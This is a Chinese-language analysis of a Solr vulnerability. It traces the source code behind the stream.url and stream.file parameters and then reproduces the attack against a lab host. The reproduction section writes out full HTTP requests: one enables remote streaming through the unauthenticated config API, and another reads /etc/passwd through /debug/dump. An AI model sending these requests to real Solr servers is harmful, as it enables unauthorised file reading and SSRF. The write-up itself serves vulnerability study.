solr任意文件读取与SSRF漏洞分析

漏洞描述

solr默认安装未开启身份验证,攻击者可未授权通过config api修改配置,导致ssrf和任意文件读取。

漏洞分析

String[] strs = params.getParams( CommonParams.STREAM_URL );
if( strs != null ) {
    if( !enableRemoteStreams ) {
    throw new SolrException( ErrorCode.BAD_REQUEST, "Remote Streaming is disabled." );
    }
    for( final String url : strs ) {
    ContentStreamBase stream = new ContentStreamBase.URLStream( new URL(url) );
    if( contentType != null ) {
        stream.setContentType( contentType );
    }
    streams.add( stream );
    }
}

这里获取stream.url参数并调用了URLStream,跟进URLStream,发现其getStream()方法与url建立了连接,导致ssrf漏洞

public InputStream getStream() throws IOException {
    URLConnection conn = this.url.openConnection();
    
    contentType = conn.getContentType();
    name = url.toExternalForm();
    size = conn.getContentLengthLong();
    InputStream is = conn.getInputStream();
    String urlFile = url.getFile().toLowerCase(Locale.ROOT);
    if( "gzip".equals(conn.getContentEncoding()) || urlFile.endsWith( ".gz" ) || urlFile.endsWith( ".gzip" )){
    is = new GZIPInputStream(is);
    }
    return is;
}
  • 任意文件读取
    同样在SolrRequestParsers.java中,第213~225行
strs = params.getParams( CommonParams.STREAM_FILE );
if( strs != null ) {
    if( !enableRemoteStreams ) {
    throw new SolrException( ErrorCode.BAD_REQUEST, "Remote Streaming is disabled. See http://lucene.apache.org/solr/guide/requestdispatcher-in-solrconfig.html for help" );
    }
    for( final String file : strs ) {
    ContentStreamBase stream = new ContentStreamBase.FileStream( new File(file) );
    if( contentType != null ) {
        stream.setContentType( contentType );
    }
    streams.add( stream );
    }
}

和SSRF代码类似,这里调用的是ContentStreamBase.FileStream,跟进去发现就是文件读取,没有任何过滤

public InputStream getStream() throws IOException {
    InputStream is = new FileInputStream( file );
    String lowerName = name.toLowerCase(Locale.ROOT);
    if(lowerName.endsWith(".gz") || lowerName.endsWith(".gzip")) {
    is = new GZIPInputStream(is);
    }
    return is;
}

漏洞复现

stream_url和stream_file这两个Remote Streaming必须通过requestDispatcher.requestParsers.enableRemoteStreaming开启后才能够使用。
默认requestDispatcher.requestParsers.enableRemoteStreaming没有开打,我们先通过如下api获取core

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json


这里core是test
调用api开启requestDispatcher.requestParsers.enableRemoteStreaming,请求如下:

POST /solr/test/config HTTP/1.1
Host: 192.168.247.131:8983
Content-Length: 83
Pragma: no-cache
Cache-Control: no-cache
Origin: http://192.168.247.131:8983
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.247.131:8983/solr/test/config
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

开启后寻找某个路径进行利用
SolrRequestParsers.java在解析请求时就被调用
在https://github.com/apache/solr/blob/7ada4032180b516548fc0263f42da6a7a917f92b/solr/core/src/resources/ImplicitPlugins.json 中提供了很多请求路径,其中/debug/dump主要是输出一些请求头和响应头信息,可针对该路径进行利用

POST /solr/test/debug/dump HTTP/1.1
Host: 192.168.247.131:8983
Content-Length: 29
Pragma: no-cache
Cache-Control: no-cache
Origin: http://192.168.247.131:8983
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.247.131:8983/solr/test/debug/dump
Accept-Language: zh-CN,zh;q=0.9
Connection: close

stream.url=file:///etc/passwd

/update/json等也可以进行文件读取,从报错中返回部分文件信息

原文地址:https://www.cnblogs.com/g0udan/p/14557530.html